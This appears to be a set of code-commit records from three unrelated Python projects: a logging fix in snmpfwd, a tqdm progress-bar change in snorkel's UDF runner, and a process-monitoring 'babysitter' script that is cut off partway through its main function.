<commit_before>#
# This file is part of snmpfwd software.
#
# Copyright (c) 2014-2018, Ilya Etingof <etingof@gmail.com>
# License: http://snmplabs.com/snmpfwd/license.html
#
import os
import sys
import logging
import socket
import stat
import time
from logging import handlers
from snmpfwd.error import SnmpfwdError

LOG_DEBUG = 0
LOG_INFO = 1
LOG_ERROR = 2

class AbstractLogger(object):
    def __init__(self, progId, *priv):
        self._logger = logging.getLogger(progId)
        self._logger.setLevel(logging.DEBUG)
        self._progId = progId
        self.init(*priv)

    def __call__(self, s):
        self._logger.debug(s)

    def init(self, *priv):
        pass

class SyslogLogger(AbstractLogger):
    def init(self, *priv):
        if len(priv) < 1:
            raise SnmpfwdError('Bad syslog params, need at least facility, also accept priority, host, port, socktype (tcp|udp)')
        if len(priv) < 2:
            priv = [priv[0], 'debug']
        if len(priv) < 3:
            priv = [priv[0], priv[1], 'localhost', 514, 'udp']
        if not priv[2].startswith('/'):
            if len(priv) < 4:
                priv = [priv[0], priv[1], priv[2], 514, 'udp']
            if len(priv) < 5:
                priv = [priv[0], priv[1], priv[2], 514, 'udp']
            priv = [priv[0], priv[1], priv[2], int(priv[3]), priv[4]]

        try:
            handler = handlers.SysLogHandler(priv[2].startswith('/') and priv[2] or (priv[2], int(priv[3])), priv[0].lower(), len(priv) > 4 and priv[4] == 'tcp' and socket.SOCK_STREAM or socket.SOCK_DGRAM)

        except Exception:
            raise SnmpfwdError('Bad syslog option(s): %s' % sys.exc_info()[1])

        handler.setFormatter(logging.Formatter('%(asctime)s %(name)s: %(message)s'))

        self._logger.addHandler(handler)

class FileLogger(AbstractLogger):

    class TimedRotatingFileHandler(handlers.TimedRotatingFileHandler):
        """Store log creation time in a stand-alone file''s mtime"""

        def __init__(self, *args, **kwargs):
            handlers.TimedRotatingFileHandler.__init__(self, *args, **kwargs)

            try:
                timestamp = os.stat(self.__filename)[stat.ST_MTIME]

            except IOError:
                return

            # Use a stand-aside file metadata time instead of the last
            # modification of the log file itself, as the stock
            # implementation does.
            # This is to work-around the increasing rotation intervals
            # on process restart.
            self.rolloverAt = self.computeRollover(timestamp)

        @property
        def __filename(self):
            return os.path.join(
                os.path.dirname(self.baseFilename),
                '.' + os.path.basename(self.baseFilename) + '-timestamp'
            )

        def doRollover(self):
            try:
                handlers.TimedRotatingFileHandler.doRollover(self)

                # note log file creation time
                if os.path.exists(self.__filename):
                    os.unlink(self.__filename)

                open(self.__filename, 'w').close()

            except IOError:
                # File rotation seems to fail, postpone the next run
                timestamp = time.time()
                self.rolloverAt = self.computeRollover(timestamp)

                error('Failed to rotate log/timestamp file %s: %s' % (self.__filename, sys.exc_info()[1]))

    def init(self, *priv):
        if not priv:
            raise SnmpfwdError('Bad log file params, need filename')
        if sys.platform[:3] == 'win':
            # fix possibly corrupted absolute windows path
            if len(priv[0]) == 1 and priv[0].isalpha() and len(priv) > 1:
                priv = [priv[0] + ':' + priv[1]] + list(priv[2:])

        maxsize = 0
        maxage = None
        if len(priv) > 1 and priv[1]:
            try:
                if priv[1][-1] == 'k':
                    maxsize = int(priv[1][:-1]) * 1024
                elif priv[1][-1] == 'm':
                    maxsize = int(priv[1][:-1]) * 1024 * 1024
                elif priv[1][-1] == 'g':
                    maxsize = int(priv[1][:-1]) * 1024 * 1024 * 1024
                elif priv[1][-1] == 'S':
                    maxage = ('S', int(priv[1][:-1]))
                elif priv[1][-1] == 'M':
                    maxage = ('M', int(priv[1][:-1]))
                elif priv[1][-1] == 'H':
                    maxage = ('H', int(priv[1][:-1]))
                elif priv[1][-1] == 'D':
                    maxage = ('D', int(priv[1][:-1]))
                else:
                    raise ValueError('Unknown log rotation criterion: %s' % priv[1][-1])

            except ValueError:
                raise SnmpfwdError(
                    'Error in timed log rotation specification. Use <NNN>k,m,g '
                    'for size or <NNN>S,M,H,D for time limits'
                )

        try:
            if maxsize:
                handler = handlers.RotatingFileHandler(priv[0], backupCount=30, maxBytes=maxsize)
            elif maxage:
                handler = self.TimedRotatingFileHandler(priv[0], backupCount=30, when=maxage[0], interval=maxage[1])
            else:
                handler = handlers.WatchedFileHandler(priv[0])

        except Exception:
            raise SnmpfwdError(
                'Failure configure logging: %s' % sys.exc_info()[1]
            )

        handler.setFormatter(logging.Formatter('%(message)s'))

        self._logger.addHandler(handler)

        self('Log file %s, rotation rules: %s' % (priv[0], maxsize and '> %sKB' % (maxsize/1024) or maxage and '%s%s' % (maxage[1], maxage[0]) or '<none>'))

    def __call__(self, s):
        now = time.time()
        timestamp = time.strftime('%Y-%m-%dT%H:%M:%S', time.localtime(now))
        AbstractLogger.__call__(self, '%s.%02d %s: %s' % (timestamp, now % 1 * 100, self._progId, s))

class StreamLogger(AbstractLogger):
    stream = sys.stderr

    def init(self, *priv):
        try:
            handler = logging.StreamHandler(self.stream)

        except AttributeError:
            raise SnmpfwdError(
                'Stream logger failure: %s' % sys.exc_info()[1]
            )

        handler.setFormatter(logging.Formatter('%(asctime)s %(message)s'))

        self._logger.addHandler(handler)

class StdoutLogger(StreamLogger):
    stream = sys.stdout

class StderrLogger(StreamLogger):
    stream = sys.stderr

class NullLogger(AbstractLogger):
    def init(self, *priv):
        handler = logging.NullHandler()
        self._logger.addHandler(handler)

    def __call__(self, s):
        pass

methodsMap = {
    'syslog': SyslogLogger,
    'file': FileLogger,
    'stdout': StdoutLogger,
    'stderr': StderrLogger,
    'null': NullLogger
}

levelsMap = {
    'debug': LOG_DEBUG,
    'info': LOG_INFO,
    'error': LOG_ERROR,
}

msg = lambda x: None

logLevel = LOG_INFO

def error(message, ctx=''):
    if logLevel <= LOG_ERROR:
      msg('ERROR %s %s' % (message, ctx))

def info(message, ctx=''):
    if logLevel <= LOG_INFO:
        msg('INFO %s %s' % (message, ctx))

def debug(message, ctx=''):
    if logLevel <= LOG_DEBUG:
        msg('DEBUG %s %s' % (message, ctx))

def setLevel(level):
    global logLevel

    try:
        logLevel = levelsMap[level]

    except KeyError:
        raise SnmpfwdError('Unknown log level "%s", known levels are: %s' % (level, ', '.join(levelsMap)))

def setLogger(progId, *priv, **options):
    global msg

    try:
        if not isinstance(msg, AbstractLogger) or options.get('force'):
            msg = methodsMap[priv[0]](progId, *priv[1:])

    except KeyError:
        raise SnmpfwdError('Unknown logging method "%s", known methods are: %s' % (priv[0], ', '.join(methodsMap.keys())))
<commit_msg>Prevent possible infinite recursion in timed log rotation<commit_after>#
# This file is part of snmpfwd software.
#
# Copyright (c) 2014-2018, Ilya Etingof <etingof@gmail.com>
# License: http://snmplabs.com/snmpfwd/license.html
#
import os
import sys
import logging
import socket
import stat
import time
from logging import handlers
from snmpfwd.error import SnmpfwdError

LOG_DEBUG = 0
LOG_INFO = 1
LOG_ERROR = 2

class AbstractLogger(object):
    def __init__(self, progId, *priv):
        self._logger = logging.getLogger(progId)
        self._logger.setLevel(logging.DEBUG)
        self._progId = progId
        self.init(*priv)

    def __call__(self, s):
        self._logger.debug(s)

    def init(self, *priv):
        pass

class SyslogLogger(AbstractLogger):
    def init(self, *priv):
        if len(priv) < 1:
            raise SnmpfwdError('Bad syslog params, need at least facility, also accept priority, host, port, socktype (tcp|udp)')
        if len(priv) < 2:
            priv = [priv[0], 'debug']
        if len(priv) < 3:
            priv = [priv[0], priv[1], 'localhost', 514, 'udp']
        if not priv[2].startswith('/'):
            if len(priv) < 4:
                priv = [priv[0], priv[1], priv[2], 514, 'udp']
            if len(priv) < 5:
                priv = [priv[0], priv[1], priv[2], 514, 'udp']
            priv = [priv[0], priv[1], priv[2], int(priv[3]), priv[4]]

        try:
            handler = handlers.SysLogHandler(priv[2].startswith('/') and priv[2] or (priv[2], int(priv[3])), priv[0].lower(), len(priv) > 4 and priv[4] == 'tcp' and socket.SOCK_STREAM or socket.SOCK_DGRAM)

        except Exception:
            raise SnmpfwdError('Bad syslog option(s): %s' % sys.exc_info()[1])

        handler.setFormatter(logging.Formatter('%(asctime)s %(name)s: %(message)s'))

        self._logger.addHandler(handler)

class FileLogger(AbstractLogger):

    class TimedRotatingFileHandler(handlers.TimedRotatingFileHandler):
        """Store log creation time in a stand-alone file''s mtime"""

        def __init__(self, *args, **kwargs):
            handlers.TimedRotatingFileHandler.__init__(self, *args, **kwargs)

            self.__failure = False

            try:
                timestamp = os.stat(self.__filename)[stat.ST_MTIME]

            except IOError:
                return

            # Use a stand-aside file metadata time instead of the last
            # modification of the log file itself, as the stock
            # implementation does.
            # This is to work-around the increasing rotation intervals
            # on process restart.
            self.rolloverAt = self.computeRollover(timestamp)

        @property
        def __filename(self):
            return os.path.join(
                os.path.dirname(self.baseFilename),
                '.' + os.path.basename(self.baseFilename) + '-timestamp'
            )

        def doRollover(self):
            try:
                handlers.TimedRotatingFileHandler.doRollover(self)

                # note log file creation time
                if os.path.exists(self.__filename):
                    os.unlink(self.__filename)

                open(self.__filename, 'w').close()

                self.__failure = False

            except IOError:
                # File rotation seems to fail, postpone the next run
                timestamp = time.time()
                self.rolloverAt = self.computeRollover(timestamp)

                if not self.__failure:
                    self.__failure = True
                    error('Failed to rotate log/timestamp file '
                          '%s: %s' % (self.__filename, sys.exc_info()[1]))

    def init(self, *priv):
        if not priv:
            raise SnmpfwdError('Bad log file params, need filename')
        if sys.platform[:3] == 'win':
            # fix possibly corrupted absolute windows path
            if len(priv[0]) == 1 and priv[0].isalpha() and len(priv) > 1:
                priv = [priv[0] + ':' + priv[1]] + list(priv[2:])

        maxsize = 0
        maxage = None
        if len(priv) > 1 and priv[1]:
            try:
                if priv[1][-1] == 'k':
                    maxsize = int(priv[1][:-1]) * 1024
                elif priv[1][-1] == 'm':
                    maxsize = int(priv[1][:-1]) * 1024 * 1024
                elif priv[1][-1] == 'g':
                    maxsize = int(priv[1][:-1]) * 1024 * 1024 * 1024
                elif priv[1][-1] == 'S':
                    maxage = ('S', int(priv[1][:-1]))
                elif priv[1][-1] == 'M':
                    maxage = ('M', int(priv[1][:-1]))
                elif priv[1][-1] == 'H':
                    maxage = ('H', int(priv[1][:-1]))
                elif priv[1][-1] == 'D':
                    maxage = ('D', int(priv[1][:-1]))
                else:
                    raise ValueError('Unknown log rotation criterion: %s' % priv[1][-1])

            except ValueError:
                raise SnmpfwdError(
                    'Error in timed log rotation specification. Use <NNN>k,m,g '
                    'for size or <NNN>S,M,H,D for time limits'
                )

        try:
            if maxsize:
                handler = handlers.RotatingFileHandler(priv[0], backupCount=30, maxBytes=maxsize)
            elif maxage:
                handler = self.TimedRotatingFileHandler(priv[0], backupCount=30, when=maxage[0], interval=maxage[1])
            else:
                handler = handlers.WatchedFileHandler(priv[0])

        except Exception:
            raise SnmpfwdError(
                'Failure configure logging: %s' % sys.exc_info()[1]
            )

        handler.setFormatter(logging.Formatter('%(message)s'))

        self._logger.addHandler(handler)

        self('Log file %s, rotation rules: %s' % (priv[0], maxsize and '> %sKB' % (maxsize/1024) or maxage and '%s%s' % (maxage[1], maxage[0]) or '<none>'))

    def __call__(self, s):
        now = time.time()
        timestamp = time.strftime('%Y-%m-%dT%H:%M:%S', time.localtime(now))
        AbstractLogger.__call__(self, '%s.%02d %s: %s' % (timestamp, now % 1 * 100, self._progId, s))

class StreamLogger(AbstractLogger):
    stream = sys.stderr

    def init(self, *priv):
        try:
            handler = logging.StreamHandler(self.stream)

        except AttributeError:
            raise SnmpfwdError(
                'Stream logger failure: %s' % sys.exc_info()[1]
            )

        handler.setFormatter(logging.Formatter('%(asctime)s %(message)s'))

        self._logger.addHandler(handler)

class StdoutLogger(StreamLogger):
    stream = sys.stdout

class StderrLogger(StreamLogger):
    stream = sys.stderr

class NullLogger(AbstractLogger):
    def init(self, *priv):
        handler = logging.NullHandler()
        self._logger.addHandler(handler)

    def __call__(self, s):
        pass

methodsMap = {
    'syslog': SyslogLogger,
    'file': FileLogger,
    'stdout': StdoutLogger,
    'stderr': StderrLogger,
    'null': NullLogger
}

levelsMap = {
    'debug': LOG_DEBUG,
    'info': LOG_INFO,
    'error': LOG_ERROR,
}

msg = lambda x: None

logLevel = LOG_INFO

def error(message, ctx=''):
    if logLevel <= LOG_ERROR:
      msg('ERROR %s %s' % (message, ctx))

def info(message, ctx=''):
    if logLevel <= LOG_INFO:
        msg('INFO %s %s' % (message, ctx))

def debug(message, ctx=''):
    if logLevel <= LOG_DEBUG:
        msg('DEBUG %s %s' % (message, ctx))

def setLevel(level):
    global logLevel

    try:
        logLevel = levelsMap[level]

    except KeyError:
        raise SnmpfwdError('Unknown log level "%s", known levels are: %s' % (level, ', '.join(levelsMap)))

def setLogger(progId, *priv, **options):
    global msg

    try:
        if not isinstance(msg, AbstractLogger) or options.get('force'):
            msg = methodsMap[priv[0]](progId, *priv[1:])

    except KeyError:
        raise SnmpfwdError('Unknown logging method "%s", known methods are: %s' % (priv[0], ', '.join(methodsMap.keys())))
<|endoftext|>


<commit_before>from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from future import standard_library
standard_library.install_aliases()
from builtins import *

from multiprocessing import Process, JoinableQueue
from queue import Empty

from snorkel.models.meta import new_sessionmaker, snorkel_conn_string
from snorkel.utils import ProgressBar

QUEUE_TIMEOUT = 3

class UDFRunner(object):
    """Class to run UDFs in parallel using simple queue-based multiprocessing setup"""
    def __init__(self, udf_class, **udf_init_kwargs):
        self.udf_class       = udf_class
        self.udf_init_kwargs = udf_init_kwargs
        self.udfs            = []

        if hasattr(self.udf_class, 'reduce'):
            self.reducer = self.udf_class(**self.udf_init_kwargs)
        else:
            self.reducer = None

    def apply(self, xs, clear=True, parallelism=None, progress_bar=True, count=None, **kwargs):
        """
        Apply the given UDF to the set of objects xs, either single or multi-threaded,
        and optionally calling clear() first.
        """
        # Clear everything downstream of this UDF if requested
        if clear:
            print("Clearing existing...")
            SnorkelSession = new_sessionmaker()
            session = SnorkelSession()
            self.clear(session, **kwargs)
            session.commit()
            session.close()

        # Execute the UDF
        print("Running UDF...")
        if parallelism is None or parallelism < 2:
            self.apply_st(xs, progress_bar, clear=clear, count=count, **kwargs)
        else:
            self.apply_mt(xs, parallelism, clear=clear, **kwargs)

    def clear(self, session, **kwargs):
        raise NotImplementedError()

    def apply_st(self, xs, progress_bar, count, **kwargs):
        """Run the UDF single-threaded, optionally with progress bar"""
        udf = self.udf_class(**self.udf_init_kwargs)

        # Set up ProgressBar if possible
        pb = None
        if progress_bar and hasattr(xs, '__len__') or count is not None:
            n = count if count is not None else len(xs)
            pb = ProgressBar(n)

        # Run single-thread
        for i, x in enumerate(xs):
            if pb:
                pb.bar(i)

            # Apply UDF and add results to the session
            for y in udf.apply(x, **kwargs):

                # Uf UDF has a reduce step, this will take care of the insert; else add to session
                if hasattr(self.udf_class, 'reduce'):
                    udf.reduce(y, **kwargs)
                else:
                    udf.session.add(y)

        # Commit session and close progress bar if applicable
        udf.session.commit()
        if pb:
            pb.close()

    def apply_mt(self, xs, parallelism, **kwargs):
        """Run the UDF multi-threaded using python multiprocessing"""
        if snorkel_conn_string.startswith('sqlite'):
            raise ValueError('Multiprocessing with SQLite is not supported. Please use a different database backend,'
                             ' such as PostgreSQL.')

        # Fill a JoinableQueue with input objects
        in_queue = JoinableQueue()
        for x in xs:
            in_queue.put(x)

        # If the UDF has a reduce step, we collect the output of apply in a Queue
        out_queue = None
        if hasattr(self.udf_class, 'reduce'):
            out_queue = JoinableQueue()

        # Start UDF Processes
        for i in range(parallelism):
            udf              = self.udf_class(in_queue=in_queue, out_queue=out_queue, **self.udf_init_kwargs)
            udf.apply_kwargs = kwargs
            self.udfs.append(udf)

        # Start the UDF processes, and then join on their completion
        for udf in self.udfs:
            udf.start()

        # If there is a reduce step, do now on this thread
        if hasattr(self.udf_class, 'reduce'):
            while any([udf.is_alive() for udf in self.udfs]):
                while True:
                    try:
                        y = out_queue.get(True, QUEUE_TIMEOUT)
                        self.reducer.reduce(y, **kwargs)
                        out_queue.task_done()
                    except Empty:
                        break
                self.reducer.session.commit()
            self.reducer.session.close()

        # Otherwise just join on the UDF.apply actions
        else:
            for i, udf in enumerate(self.udfs):
                udf.join()

        # Terminate and flush the processes
        for udf in self.udfs:
            udf.terminate()
        self.udfs = []

class UDF(Process):
    def __init__(self, in_queue=None, out_queue=None):
        """
        in_queue: A Queue of input objects to process; primarily for running in parallel
        """
        Process.__init__(self)
        self.daemon       = True
        self.in_queue     = in_queue
        self.out_queue    = out_queue

        # Each UDF starts its own Engine
        # See http://docs.sqlalchemy.org/en/latest/core/pooling.html#using-connection-pools-with-multiprocessing
        SnorkelSession = new_sessionmaker()
        self.session   = SnorkelSession()

        # We use a workaround to pass in the apply kwargs
        self.apply_kwargs = {}

    def run(self):
        """
        This method is called when the UDF is run as a Process in a multiprocess setting
        The basic routine is: get from JoinableQueue, apply, put / add outputs, loop
        """
        while True:
            try:
                x = self.in_queue.get(True, QUEUE_TIMEOUT)
                for y in self.apply(x, **self.apply_kwargs):

                    # If an out_queue is provided, add to that, else add to session
                    if self.out_queue is not None:
                        self.out_queue.put(y, True, QUEUE_TIMEOUT)
                    else:
                        self.session.add(y)
                self.in_queue.task_done()
            except Empty:
                break
        self.session.commit()
        self.session.close()

    def apply(self, x, **kwargs):
        """This function takes in an object, and returns a generator / set / list"""
        raise NotImplementedError()
<commit_msg>Add mt-capable progress bar, but currently only working for UDFs with a reduce step<commit_after>from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from future import standard_library
standard_library.install_aliases()
from builtins import *

from multiprocessing import Process, JoinableQueue
from queue import Empty

from snorkel.models.meta import new_sessionmaker, snorkel_conn_string
from tqdm import tqdm

QUEUE_TIMEOUT = 3

class UDFRunner(object):
    """Class to run UDFs in parallel using simple queue-based multiprocessing setup"""
    def __init__(self, udf_class, **udf_init_kwargs):
        self.udf_class       = udf_class
        self.udf_init_kwargs = udf_init_kwargs
        self.udfs            = []
        self.pb = None

        if hasattr(self.udf_class, 'reduce'):
            self.reducer = self.udf_class(**self.udf_init_kwargs)
        else:
            self.reducer = None

    def apply(self, xs, clear=True, parallelism=None, progress_bar=True, count=None, **kwargs):
        """
        Apply the given UDF to the set of objects xs, either single or multi-threaded,
        and optionally calling clear() first.
        """
        # Clear everything downstream of this UDF if requested
        if clear:
            print("Clearing existing...")
            SnorkelSession = new_sessionmaker()
            session = SnorkelSession()
            self.clear(session, **kwargs)
            session.commit()
            session.close()

        # Execute the UDF
        print("Running UDF...")

        # Set up ProgressBar if possible
        if progress_bar and hasattr(xs, '__len__') or count is not None:
            n = count if count is not None else len(xs)
            self.pb = tqdm(total=n)

        if parallelism is None or parallelism < 2:
            self.apply_st(xs, clear=clear, count=count, **kwargs)
        else:
            self.apply_mt(xs, parallelism, clear=clear, **kwargs)

        if self.pb is not None:
            self.pb.close()

    def clear(self, session, **kwargs):
        raise NotImplementedError()

    def apply_st(self, xs, count, **kwargs):
        """Run the UDF single-threaded, optionally with progress bar"""
        udf = self.udf_class(**self.udf_init_kwargs)

        # Run single-thread
        for i, x in enumerate(xs):
            if self.pb is not None:
                self.pb.bar(i)

            # Apply UDF and add results to the session
            for y in udf.apply(x, **kwargs):

                # Uf UDF has a reduce step, this will take care of the insert; else add to session
                if hasattr(self.udf_class, 'reduce'):
                    udf.reduce(y, **kwargs)
                else:
                    udf.session.add(y)

        # Commit session and close progress bar if applicable
        udf.session.commit()

    def apply_mt(self, xs, parallelism, **kwargs):
        """Run the UDF multi-threaded using python multiprocessing"""
        if snorkel_conn_string.startswith('sqlite'):
            raise ValueError('Multiprocessing with SQLite is not supported. Please use a different database backend,'
                             ' such as PostgreSQL.')

        # Fill a JoinableQueue with input objects
        in_queue = JoinableQueue()
        for x in xs:
            in_queue.put(x)

        # If the UDF has a reduce step, we collect the output of apply in a Queue
        out_queue = None
        if hasattr(self.udf_class, 'reduce'):
            out_queue = JoinableQueue()

        # Start UDF Processes
        for i in range(parallelism):
            udf = self.udf_class(in_queue=in_queue, out_queue=out_queue, **self.udf_init_kwargs)
            udf.apply_kwargs = kwargs
            self.udfs.append(udf)

        # Start the UDF processes, and then join on their completion
        for udf in self.udfs:
            udf.start()

        # If there is a reduce step, do now on this thread
        if hasattr(self.udf_class, 'reduce'):
            while any([udf.is_alive() for udf in self.udfs]):
                while True:
                    try:
                        y = out_queue.get(True, QUEUE_TIMEOUT)
                        self.reducer.reduce(y, **kwargs)
                        out_queue.task_done()
                        if self.pb is not None:
                            self.pb.update(1)

                    except Empty:
                        break
                self.reducer.session.commit()
            self.reducer.session.close()

        # Otherwise just join on the UDF.apply actions
        else:
            for i, udf in enumerate(self.udfs):
                udf.join()

        # Terminate and flush the processes
        for udf in self.udfs:
            udf.terminate()
        self.udfs = []

class UDF(Process):
    def __init__(self, in_queue=None, out_queue=None):
        """
        in_queue: A Queue of input objects to process; primarily for running in parallel
        """
        Process.__init__(self)
        self.daemon       = True
        self.in_queue     = in_queue
        self.out_queue    = out_queue

        # Each UDF starts its own Engine
        # See http://docs.sqlalchemy.org/en/latest/core/pooling.html#using-connection-pools-with-multiprocessing
        SnorkelSession = new_sessionmaker()
        self.session   = SnorkelSession()

        # We use a workaround to pass in the apply kwargs
        self.apply_kwargs = {}

    def run(self):
        """
        This method is called when the UDF is run as a Process in a multiprocess setting
        The basic routine is: get from JoinableQueue, apply, put / add outputs, loop
        """
        while True:
            try:
                x = self.in_queue.get(True, QUEUE_TIMEOUT)
                for y in self.apply(x, **self.apply_kwargs):

                    # If an out_queue is provided, add to that, else add to session
                    if self.out_queue is not None:
                        self.out_queue.put(y, True, QUEUE_TIMEOUT)
                    else:
                        self.session.add(y)
                self.in_queue.task_done()

            except Empty:
                break
        self.session.commit()
        self.session.close()

    def apply(self, x, **kwargs):
        """This function takes in an object, and returns a generator / set / list"""
        raise NotImplementedError()
<|endoftext|>


<commit_before>#! /usr/bin/python

from __future__ import print_function, division
import time
import logging
import subprocess
import os
import smtplib
from email.mime.text import MIMEText
from abc import ABCMeta, abstractproperty
import xml.etree.ElementTree as ET # for XML parsing
import signal

# TODO: Send daily heartbeat. With graphs.

# TODO: send messages in HTML. Use RED for FAILs.  Use <ul> for lists.

"""
***********************************
********* DESCRIPTION *************

    Script for monitoring disk space, multiple files and multiple processes.
    If errors are found then an email is sent.
    Configuration is stored in a babysitter_config.xml file (see below)

***********************************
********* REQUIREMENTS ************

    ---------------------------------
    ADD A babysitter_config.xml FILE
    USING THE FOLLOWING FORMAT:

    Add as many <process> or <file>
    elements as you want to check.
    --------------------------------

        <config>

            <smtp_server></smtp_server>
            <email_from></email_from>
            <email_to></email_to>
            <username></username>
            <password></password>

            <disk_space_threshold>20</disk_space_threshold> <!-- MBytes -->

            <file>
                <location></location>
                <timeout>300</timeout> <!-- Seconds -->
            </file>

            <process>
                <name>iam_logger.py</name>
                <restart_command>nohup ./iam_logger.py</restart_command>
            </process>

            <process>
                <name>ntpd</name>
                <restart_command>sudo service ntp restart</restart_command>
            </process>

        </config>

    ----------------------------------
    SETUP SUDO FOR service restart ntp
    ----------------------------------

        This Python script needs to be able to run 'service restart ntp'
        without requiring a password.  Follow these steps:

        1. run 'sudo visudo'
        2. add the following line:
           'USER   ALL=NOPASSWD: /usr/sbin/service ntp *'
           (replace USER with your unix username!)

"""

class Checker:
    """Abstract base class (ABC) for classes which check on the state of
    a particular part of the system. """

    __metaclass__ = ABCMeta

    # Define some constants for tracking state
    FAIL = 0
    OK = 1

    def __init__(self, name):
        self.name = name
        self.last_state = self.state

    @abstractproperty
    def state(self):
        pass

    @property
    def state_as_str(self):
        return ['FAIL', 'OK'][self.state]

    @property
    def just_changed_state(self):
        state = self.state # cache to avoid this changing under us
        if state == self.last_state:
            return False
        elif state == Checker.FAIL:
            logger.warning('state change to FAIL: {}'.format(self))
        elif state == Checker.OK:
            logger.info('state change: {}'.format(self))

        self.last_state = state
        return True

    def __str__(self):
        return '{} = {}'.format(self.name.rpartition('/')[2], # remove path
                                self.state_as_str)

class Process(Checker):
    """Class for monitoring a unix process.

    Attributes:
        name (str): the process name as it appears in `ps -A`
        restart_command (str): the command used to restart this process

    """

    def __init__(self, name):
        """
        Args:
            name (str): the process name as it appears in `ps -A`
        """
        self.restart_command = None
        super(Process, self).__init__(name)

    @property
    def pid(self):
        pid_string = subprocess.check_output(['pidof', '-x', self.name])
        return pid_string.strip()

    def restart(self):
        if self.restart_command is None:
            logger.info("No restart string for {}".format(self.name))
            return

        if self.state == Checker.OK:
            return

        logger.info("Attempting to restart {}".format(self.name))
        try:
            subprocess.Popen(self.restart_command.split())
        except Exception:
            logger.exception("Failed to restart. {}".format(self))
        else:
            logger.info("Successfully restarted. {}".format(self) )

    @property
    def state(self):
        try:
            self.pid
        except subprocess.CalledProcessError:
            return Checker.FAIL
        else:
            return Checker.OK

class File(Checker):
    def __init__(self, name, timeout=120):
        """File constructor

        Args:
            name (str) : including full path
            timeout (int or str) : time in seconds after which this file is
                considered overdue.
        """
        self.timeout = int(timeout)
        super(File, self).__init__(name)

    @property
    def state(self):
        return self.seconds_since_modified < self.timeout

    @property
    def seconds_since_modified(self):
        return time.time() - self.last_modified

    @property
    def last_modified(self):
        return os.path.getmtime(self.name)

    def __str__(self):
        msg = super(File, self).__str__()
        msg += ", last modified {:.1f}s ago.".format(self.seconds_since_modified)
        return msg

class DiskSpaceRemaining(Checker):

    def __init__(self, threshold):
        """
        Args:
            threshold (int or str): number of MBytes of free space below which
                state will change to FAIL.
        """
        self.threshold = int(threshold)
        super(DiskSpaceRemaining, self).__init__('disk space')

    @property
    def state(self):
        return self.available_space > self.threshold

    @property
    def available_space(self):
        """Returns available disk space in MBytes."""
        # From http://stackoverflow.com/a/787832/732596
        s = os.statvfs('/')
        return (s.f_bavail * s.f_frsize) / 1024**2

    def __str__(self):
        msg = super(DiskSpaceRemaining, self).__str__()
        msg += ", remaining={:.0f} MB.".format(self.available_space)
        return msg

class Manager(object):
    """Manages multiple Checker objects."""

    def __init__(self):
        self._checkers = []

    def append(self, checker):
        self._checkers.append(checker)
        logger.info('Added {} to Manager: {}'.format(checker.__class__.__name__,
                                                     self._checkers[-1]))

    def run(self):
        msg = "IAM logger babysitter running.\n{}".format(self)
        self.send_email(body=msg, subject="babysitter.py running")

        while True:
            msg = ""
            for checker in self._checkers:
                if checker.just_changed_state:
                    msg += "STATE CHANGED:\n"
                    msg += str(checker) + "\n"
                    if isinstance(checker, Process):
                        msg += "Attempting to restart...\n"
                        checker.restart()
                        time.sleep(5)
                        msg += str(checker) + "\n"

            if msg != "":
                msg += "CURRENT STATE OF ALL CHECKERS:\n" + str(self)
                self.send_email(body=msg, subject="iam_logger errors.")

            time.sleep(10)

    def load_config(self, config_file):
        config_tree = ET.parse(config_file)

        self.SMTP_SERVER = config_tree.findtext("smtp_server")
        self.EMAIL_FROM  = config_tree.findtext("email_from")
        self.EMAIL_TO    = config_tree.findtext("email_to")
        self.USERNAME    = config_tree.findtext("username")
        self.PASSWORD    = config_tree.findtext("password")

        logger.debug('\nSMTP_SERVER={}\nEMAIL_FROM={}\nEMAIL_TO={}'
                     .format(self.SMTP_SERVER, self.EMAIL_FROM, self.EMAIL_TO))

        # Disk space checker
        disk_space_threshold = config_tree.findtext("disk_space_threshold")
        if disk_space_threshold is not None:
            self.append(DiskSpaceRemaining(disk_space_threshold))

        # Load files
        files_etree = config_tree.findall("file")
        for f in files_etree:
            self.append(File(f.findtext('location'),
                             int(f.findtext('timeout'))))

        # Load processes
        processes_etree = config_tree.findall("process")
        for process in processes_etree:
            p = Process(process.findtext('name'))
            p.restart_command = process.findtext('restart_command')
            self.append(p)

    def send_email(self, body, subject):
        hostname = os.uname()[1]
        me = hostname + '<' + self.EMAIL_FROM + '>'
        body += '\nUnixtime = ' + str(time.time()) + '\n'
        msg = MIMEText(body)
        msg['Subject'] = subject
        msg['From'] =  me
        msg['To'] = self.EMAIL_TO

        logger.debug('sending message: \n{}'.format(msg.as_string()))

        retry = True
        while retry is True:
            try:
                logger.debug("SMPT_SSL")
                s = smtplib.SMTP_SSL(self.SMTP_SERVER)
                logger.debug("logging in")
                s.login(self.USERNAME, self.PASSWORD) # TODO take these from config!

                logger.debug("sendmail")
                s.sendmail(me, [self.EMAIL_TO], msg.as_string())
                logger.debug("quit")
                s.quit()
            except (smtplib.SMTPServerDisconnected, smtplib.SMTPConnectError):
                logger.exception("")
                time.sleep(2)
            except smtplib.SMTPAuthenticationError:
                error_msg = "SMTP authentication error. Please check username and password in config file."
                print(error_msg)
                logger.exception(error_msg)
                raise
            else:
                logger.info("Successfully sent message")
                retry = False

    def __str__(self):
        msg = ""
        for checker in self._checkers:
            msg += '{}\n'.format(checker)
        return msg

def _init_logger():
    global logger

    # create logger
    logger = logging.getLogger(__name__)
    logger.setLevel(logging.DEBUG)

    # create console handler for stderr
    ch_stderr = logging.StreamHandler()
    ch_stderr.setLevel(logging.INFO)
    stderr_formatter = logging.Formatter('%(asctime)s %(levelname)s: '
                        '%(message)s', datefmt='%d/%m/%y %H:%M:%S')
    ch_stderr.setFormatter(stderr_formatter)
    logger.addHandler(ch_stderr)

    # create file handler for babysitter.log
    fh = logging.FileHandler('babysitter.log')
    fh.setLevel(logging.DEBUG)
    fh_formatter = logging.Formatter('%(asctime)s level=%(levelname)s: '
                        'function=%(funcName)s, thread=%(threadName)s'
                        '\n   %(message)s')
    fh.setFormatter(fh_formatter)
    logger.addHandler(fh)

def _shutdown():
    logger.info("Shutting down.")
    logging.shutdown()

def _signal_handler(signal_number, frame):
    raise KeyboardInterrupt()

def main():

    _init_logger()
    logger.debug('MAIN: babysitter.py starting up. Unixtime = {:.0f}'
                  .format(time.time()))

    # register SIGINT and SIGTERM handler
    logger.info("MAIN: setting signal handlers")
    signal.signal(signal.SIGINT,  _signal_handler)
    signal.signal(signal.SIGTERM, _signal_handler)

